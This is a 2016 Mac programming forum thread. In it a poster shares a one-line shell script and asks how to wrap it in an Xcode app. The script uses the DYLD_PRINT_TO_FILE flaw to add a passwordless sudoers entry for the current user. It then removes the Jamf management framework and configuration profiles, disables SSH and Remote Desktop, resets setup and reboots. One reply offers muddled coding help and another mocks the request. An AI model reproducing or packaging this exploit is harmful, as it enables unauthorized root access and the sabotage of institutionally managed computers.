Need Help Making Mac App

Discussion in 'Mac Programming' started by Mason Dulemba, Sep 1, 2016.

  1. Mason Dulemba macrumors member

    Mason Dulemba

    Joined:
    Mar 16, 2016
    Location:
    Richmond, IN
    #1
  2. Mason Dulemba thread starter macrumors member

    Mason Dulemba

    Joined:
    Mar 16, 2016
    Location:
    Richmond, IN
    #2
    Ok Everyone i Managed to Shorten My Script to:

    echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s sudo /usr/local/bin/jamf removeFramework; sudo profiles -d; sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist; sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off; sudo rm /var/db/.applesetupdone; echo PWND By Mason Dulemba 2016, G3T R3KD N00BZ; sudo reboot

    Could someone tell me how i could run that through an xcode app ? Please ?
     
  3. kiwipeso1 Suspended

    kiwipeso1

    Joined:
    Sep 17, 2001
    Location:
    Wellington, New Zealand
    #3
    Your first error says it's multiple statements on a line, which then says you need a " ; " to separate them.
    Echo is an unresolved identifier, so you need to define Echo also.
     
  4. Mikael H macrumors 6502a

    Joined:
    Sep 3, 2014
    #4
    Start X-code, create a new OS X Command Line Tool with Swift as the language and enter the following code after the line "import foundation":
    while true {
    print("I will stay the hell away from trying to write lame but malicious crap")
    }
     

Share This Page